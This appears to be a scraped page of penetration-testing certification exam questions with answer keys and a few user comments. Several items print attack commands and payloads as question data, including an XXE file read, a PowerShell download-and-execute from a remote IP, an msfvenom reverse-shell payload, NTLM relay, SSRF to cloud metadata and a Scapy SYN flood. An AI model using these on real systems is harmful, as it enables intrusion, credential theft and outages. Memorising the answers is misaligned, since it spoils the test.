Question #1 *Topic 1*

A penetration tester wants to send a specific network packet with custom flags and sequence numbers to a vulnerable target. Which of the following should the tester use?

A. tcprelay

B. Bluecrack

C. Scapy

D. tcpdump

Correct Answer: *C*

Currently there are no comments in this discussion, be the first to comment!

Question #2 *Topic 1*

Which of the following explains the reason a tester would opt to use DREAD over PTES during the planning phase of a penetration test?

A. The tester is conducting a web application test.

B. The tester is assessing a mobile application.

C. The tester is evaluating a thick client application.

D. The tester is creating a threat model.

Correct Answer: *D*

Currently there are no comments in this discussion, be the first to comment!

Question #3 *Topic 1*

A penetration tester is performing a security review of a web application. Which of the following should the tester leverage to identify the presence of vulnerable open-source libraries?

A. VM

B. IAST

C. DAST

D. SCA

Correct Answer: *D*

Currently there are no comments in this discussion, be the first to comment!

Question #4 *Topic 1*

A penetration tester finds that an application responds with the contents of the /etc/passwd file when the following payload is sent:

```
<?xml version="1"?>
<!DOCTYPE data [ <!ENTITY foo SYSTEM "file:///etc/passwd" ]>
<test>&foo;</test>
```

Which of the following should the tester recommend in the report to best prevent this type of vulnerability?

A. Drop all excessive file permissions with chmod o-rwx.

B. Ensure the requests application access logs are reviewed frequently.

C. Disable the use of external entities.

D. Implement a WAF to filter all incoming requests.

Correct Answer: *C*

Currently there are no comments in this discussion, be the first to comment!

Question #5 *Topic 1*

A penetration tester is conducting reconnaissance for an upcoming assessment of a large corporate client. The client authorized spear phishing in the rules of engagement. Which of the following should the tester do first when developing the phishing campaign?

A. Shoulder surfing

B. Recon-ng

C. Social media

D. Password dumps

Correct Answer: *C*

Currently there are no comments in this discussion, be the first to comment!

Question #6 *Topic 1*

A penetration tester needs to test a very large number of URLs for public access. Given the following code snippet:

```
1 import requests
2 import pathlib
3
4 for url in pathlib.Path("urls.txt").read_text().split("\n"):
5     response = requests.get(url)
6     if response.status == 401:
7         print("URL accessible")
```

Which of the following changes is required?

A. The condition on line 6

B. The method on line 5

C. The import on line 1

D. The delimiter in line 3

Correct Answer: *A*

AlvinCar 1 week, 3 days ago

Selected Answer: A

The 401 (Unauthorized) status code indicates that the request has not been applied because it lacks valid authentication credentials for the target resource.

If the status code is 401, the URL is not accessible. The code can be fixed by using the not equal to operator (!=)

upvoted 2 times

Question #7 *Topic 1*

During a penetration test, a tester captures information about an SPN account. Which of the following attacks requires this information as a prerequisite to proceed?

A. Golden Ticket

B. Kerberoasting

C. DCShadow

D. LSASS dumping

Correct Answer: *B*

AlvinCar 1 week, 3 days ago

Selected Answer: B

A Kerberoasting attack targets Service Principal Names (SPNs) in an Active Directory (AD) environment. SPNs are unique identifiers for services running under domain accounts, and attackers abuse them to extract hashed credentials for offline cracking.

upvoted 1 times

Question #8 *Topic 1*

While performing an internal assessment, a tester uses the following command: crackmapexec smb 192.168.1.0/24 -u user.txt -p Summer123@
Which of the following is the main purpose of the command?

A. To perform a pass-the-hash attack over multiple endpoints within the internal network

B. To perform common protocol scanning within the internal network

C. To perform password spraying on internal systems

D. To execute a command in multiple endpoints at the same time

Correct Answer: *C*

hustledhaili 5 days, 18 hours ago

Selected Answer: C

Password spraying is an attack where a single password is tested across multiple accounts to avoid account lockouts. This is different from brute force attacks, which try multiple passwords on a single account, triggering security controls. The script -p Summer123@ is an attempt to try the password "Summer123@" against all users in user.txt

upvoted 1 times

Question #9 *Topic 1*

A penetration testing team needs to determine whether it is possible to disrupt the wireless communications for PCs deployed in the client's offices. Which of the following techniques should the penetration tester leverage?

A. Port mirroring

B. Sidecar scanning

C. ARP poisoning

D. Channel scanning

Correct Answer: *D*

Currently there are no comments in this discussion, be the first to comment!

Question #10 *Topic 1*

Which of the following tasks would ensure the key outputs from a penetration test are not lost as part of the cleanup and restoration activities?

A. Preserving artifacts

B. Reverting configuration changes

C. Keeping chain of custody

D. Exporting credential data

Correct Answer: *A*

Currently there are no comments in this discussion, be the first to comment!

Question #11 *Topic 1*

A tester gains initial access to a server and needs to enumerate all corporate domain DNS records. Which of the following commands should the tester use?

A. dig +short A AAAA local.domain

B. nslookup local.domain

C. dig afxr @local.dns.server

D. nslookup -server local.dns.server local.domain *

Correct Answer: *C*

hustledhaili 5 days, 18 hours ago

Selected Answer: C

dig afxr @local.dns.server script is an attempt for DNS zone transfer (AXFR). Zone transfers retrieve all DNS records, including subdomains, IP mappings, MX (mail), and TXT records. This requires a misconfigured DNS server that allows unauthorized transfers

upvoted 1 times

Question #12 *Topic 1*

A penetration tester is performing network reconnaissance. The tester wants to gather information about the network without causing detection mechanisms to flag the reconnaissance activities. Which of the following techniques should the tester use?

A. Sniffing

B. Banner grabbing

C. TCP/UDP scanning

D. Ping sweeps

Correct Answer: *A*

Currently there are no comments in this discussion, be the first to comment!

Question #13 *Topic 1*

A penetration tester reviews a SAST vulnerability scan report. The following lines of code have been reported as vulnerable:

```
Issue 40 of 126
Language: Java
Severity: Medium
Call:
try {
   // ...
} catch (SomeException e) {
   e.printStackTrace();
}
```

Which of the following is the best method to remediate this vulnerability?

A. Implementing a logging framework

B. Removing the five code lines reported with issues

C. Initiating a secure coding-awareness program with all the developers

D. Documenting the vulnerability as a false positive

Correct Answer: *A*

Currently there are no comments in this discussion, be the first to comment!

Question #14 *Topic 1*

During a security assessment, a penetration tester uses a tool to capture plaintext log-in credentials on the communication between a user and an authentication system. The tester wants to use this information for further unauthorized access. Which of the following tools is the tester using?

A. Burp Suite

B. Wireshark

C. Zed Attack Proxy

D. Metasploit

Correct Answer: *B*

hustledhaili 5 days, 18 hours ago

Selected Answer: B

Wireshark is a packet capture tool that can sniff plaintext credentials from unencrypted network traffic. Attackers use filters (e.g., http.authbasic, tcp.port == 21) to extract credentials from protocols like HTTP, FTP, Telnet, and LDAP.

upvoted 1 times

Question #15 *Topic 1*

A penetration tester established an initial compromise on a host. The tester wants to pivot to other targets and set up an appropriate relay. The tester needs to enumerate through the compromised host as a relay from the tester's machine. Which of the following commands should the tester use to do this task from the tester's host?

A. attacker_host$ nmap -sT <target_cidr> | nc -n <compromised_host> 22

B. attacker_host$ mknod backpipe p
attacker_host$ nc -l -p 8000 | 0 <backpipe | nc <target_cidr> 80 | tee backpipe

C. attacker_host$ nc -nlp 8000 | nc -n <target_cidr>
attacker_host$ nmap -sT 127.0.0.1 8000

D. attacker_host$ proxychains nmap -sT <target_cidr>

Correct Answer: *D*

hustledhaili 5 days, 18 hours ago

Selected Answer: D

ProxyChains routes all traffic through a compromised host (pivoting). This allows a pentester to scan other network segments while avoiding direct detection. Commonly used for internal reconnaissance and lateral movement after compromising a foothold.

upvoted 1 times

Question #16 *Topic 1*

A penetration tester is unable to identify the Wi-Fi SSID on a client's cell phone. Which of the following techniques would be most effective to troubleshoot this issue?

A. Sidecar scanning

B. Channel scanning

C. Stealth scanning

D. Static analysis scanning

Correct Answer: *B*

Currently there are no comments in this discussion, be the first to comment!

Question #17 *Topic 1*

During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward. Which of the following types of attacks is this an example of?

A. SQL injection

B. SSRF

C. XSS

D. Server-side template injection

Correct Answer: *C*

Currently there are no comments in this discussion, be the first to comment!

Question #18 *Topic 1*

A penetration tester attempts unauthorized entry to the company's server room as part of a security assessment. Which of the following is the best technique to manipulate the lock pins and open the door without the original key?

A. Plug spinner

B. Bypassing

C. Decoding

D. Raking

Correct Answer: *D*

Currently there are no comments in this discussion, be the first to comment!

Question #19 *Topic 1*

Which of the following technologies is most likely used with badge cloning? (Choose two.)

A. NFC

B. RFID

C. Bluetooth

D. Modbus

E. Zigbee

F. CAN bus

Correct Answer: *AB*

Currently there are no comments in this discussion, be the first to comment!

Question #20 *Topic 1*

During a penetration test of a web application, the tester gains full access to the application's source code. The application repository includes thousands of code files. Given that the assessment timeline is very short, which of the following approaches would allow the tester to identify hard-coded credentials most effectively?

A. Run TruffleHog against a local clone of the application.

B. Scan the live web application using Nikto.

C. Perform a manual code review of the Git repository.

D. Use SCA software to scan the application source code.

Correct Answer: *A*

Currently there are no comments in this discussion, be the first to comment!

Question #21 *Topic 1*

A penetration tester is evaluating a SCADA system. The tester receives local access to a workstation that is running a single application. While navigating through the application, the tester opens a terminal window and gains access to the underlying operating system. Which of the following attacks is the tester performing?

A. Kiosk escape

B. Arbitrary code execution

C. Process hollowing

D. Library injection

Correct Answer: *A*

Currently there are no comments in this discussion, be the first to comment!

Question #22 *Topic 1*

Given the following script:

```
$1 = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.split("\")[1]

If ($1 -eq "administrator")
{
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.11.12:8080/ul/windows.ps1') | powershell -noprofile -
]
```

Which of the following is the penetration tester most likely trying to do?

A. Change the system's wallpaper based on the current user's preferences.

B. Capture the administrator's password and transmit it to a remote server.

C. Conditionally stage and execute a remote script.

D. Log the internet browsing history for a systems administrator.

Correct Answer: *C*

Currently there are no comments in this discussion, be the first to comment!

Question #23 *Topic 1*

A penetration tester needs to collect information transmitted over the network for further steps in an internal assessment. Which of the following would most likely accomplish this goal?

A. ntlmrelayx.py -t 192.168.1.0/24 -l 1234

B. nc -tulpn 1234 192.168.1.2

C. responder.py -I eth0 -wP

D. crackmapexec smb 192.168.1.0/24 -u "user" -p "pass123"

Correct Answer: *C*

Currently there are no comments in this discussion, be the first to comment!

Question #24 *Topic 1*

A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp
The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?

A. regsvr32 /s /n /u C:\evil.xml

B. MSBuild.exe C:\evil.xml

C. mshta.exe C:\evil.xml

D. AppInstaller.exe C:\evil.xml

Correct Answer: *B*

Currently there are no comments in this discussion, be the first to comment!

Question #25 *Topic 1*

A penetration tester is developing the rules of engagement for a potential client. Which of the following would most likely be specified in the rules of engagement?

A. Testing window

B. Terms of service

C. Authorization letter

D. Shared responsibilities

Correct Answer: *A*

Currently there are no comments in this discussion, be the first to comment!

Question #26 *Topic 1*

A penetration tester has found a web application that is running on a cloud virtual machine instance. Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter. Which of the following commands should the tester run to successfully test for secrets exposure exploitabilty?

A. curl <url>?param=http://169.254.169.254/latest/meta-data/

B. curl '<url>?param=http://127.0.0.1/etc/passwd'

C. curl '<url>?param=<script>alert(1}<script>/'

D. curl <url>?param=http://127.0.0.1/

Correct Answer: *A*

Currently there are no comments in this discussion, be the first to comment!

Question #27 *Topic 1*

A tester obtains access to an endpoint subnet and wants to move laterally in the network. Given the following output:

```
Nmap scan report for some_host
Host is up (0.01 latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
smb2-security-mode: Message signing disabled
```

Which of the following command and attack methods is the most appropriate for reducing the chances of being detected?

A. responder -I eth0 -dwv
ntlmrelayx.py -smb2support -tf <target>

B. msf > use exploit/windows/smb/ms17_010_psexec
msf > <set options>
msf > run

C. hydra -L administrator -P /path/topasswdlist smb: //<target>

D. nmap --script smb-brute.nse -p 445 <target>

Correct Answer: *A*

Currently there are no comments in this discussion, be the first to comment!

Question #28 *Topic 1*

A penetration tester is authorized to perform a DoS attack against a host on a network. Given the following input:

```
ip = IP(192.168.50.2)
tcp = TCP(sport=RandShort(), dport=80, flags="S")
raw = RAW(b"X"*1024)
p = ip/tcp/raw
send (p, loop=1, verbose=0)
```

Which of the following attack types is most likely being used in the test?

A. MDK4

B. Smurf attack

C. FragAttack

D. SYN flood

Correct Answer: *D*

Currently there are no comments in this discussion, be the first to comment!

Question #29 *Topic 1*

Which of the following describes the process of determining why a vulnerability scanner is not providing results?

A. Root cause analysis

B. Secure distribution

C. Peer review

D. Goal reprioritization

Correct Answer: *A*

Currently there are no comments in this discussion, be the first to comment!

Question #30 *Topic 1*

A penetration tester runs a vulnerability scan that identifies several issues across numerous customer hosts. The executive report outlines the following information:

Server	High-severity vulnerabilities
1. Development sandbox server	32
2. Back office file transfer server	51
3. Perimeter network web server	14
4. Developer QA server	92

The client is concerned about the availabilty of its consumer-facing production application. Which of the following hosts should the penetration tester select for additional manual testing?

A. Server 1

B. Server 2

C. Server 3

D. Server 4

Correct Answer: *C*

Currently there are no comments in this discussion, be the first to comment!

Question #31 *Topic 1*

A penetration tester attempts to run an automated web-application scanner against a target URL. The tester validates that the web page is accessible from a different device. The tester analyzes the following HTTP request header logging output:

```
200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
200; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
No response; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: curl
200; POST /login.aspx HTTP/1.1 Host: foo.com; User-Agent: Mozilla/5.0
No response; GET /login.aspx HTTP/1.1 Host: foo.com; User-Agent: python
```

Which of the following actions should the tester take to get the scans to work properly?

A. Modify the scanner to slow down the scan.

B. Change the source IP with a VPN.

C. Modify the scanner to only use HTTP GET requests.

D. Modify the scanner user agent.

Correct Answer: *D*

Currently there are no comments in this discussion, be the first to comment!

Question #32 *Topic 1*

During an assessment, a penetration tester runs the following command: setspn.exe -Q */*
Which of the following attacks is the penetration tester preparing for?

A. LDAP injection

B. Pass-the-hash

C. Kerberoasting

D. Dictionary

Correct Answer: *C*

Currently there are no comments in this discussion, be the first to comment!

Question #33 *Topic 1*

While conducting an assessment, a penetration tester identifies the details for several unreleased products announced at a company-wide meeting. Which of the following attacks did the tester most likely use to discover this information?

A. Eavesdropping

B. Bluesnarfing

C. Credential harvesting

D. SQL injection attack

Correct Answer: *A*

Currently there are no comments in this discussion, be the first to comment!

Question #34 *Topic 1*

A penetration tester wants to attack a server, exhausting its resources and making it unavailable to legitimate users. Which of the following attacks would be best to achieve this result?

A. IP spoofing

B. TCP hijacking

C. Port redirection

D. SYN flooding

Correct Answer: *D*

Currently there are no comments in this discussion, be the first to comment!

Question #35 *Topic 1*

During an internal penetration test, a tester compromises a Windows OS-based endpoint and bypasses the defensive mechanism on that system. The tester also discovers the endpoint is part of an Active Directory local domain. The tester's main goal is to leverage credentials to authenticate into other systems within the Active Directory environment. Which of the following steps should the tester take to complete the goal?

A. Use Mimikatz to collect information about the accounts and try to authenticate in other systems.

B. Use hasheat to crack a password for the local user on the compromised endpoint.

C. Use Evil-WinRM to access other systems in the network within the endpoint credentials.

D. Use Metasploit to create and execute a payload and try to upload the payload into other systems.

Correct Answer: *A*

Currently there are no comments in this discussion, be the first to comment!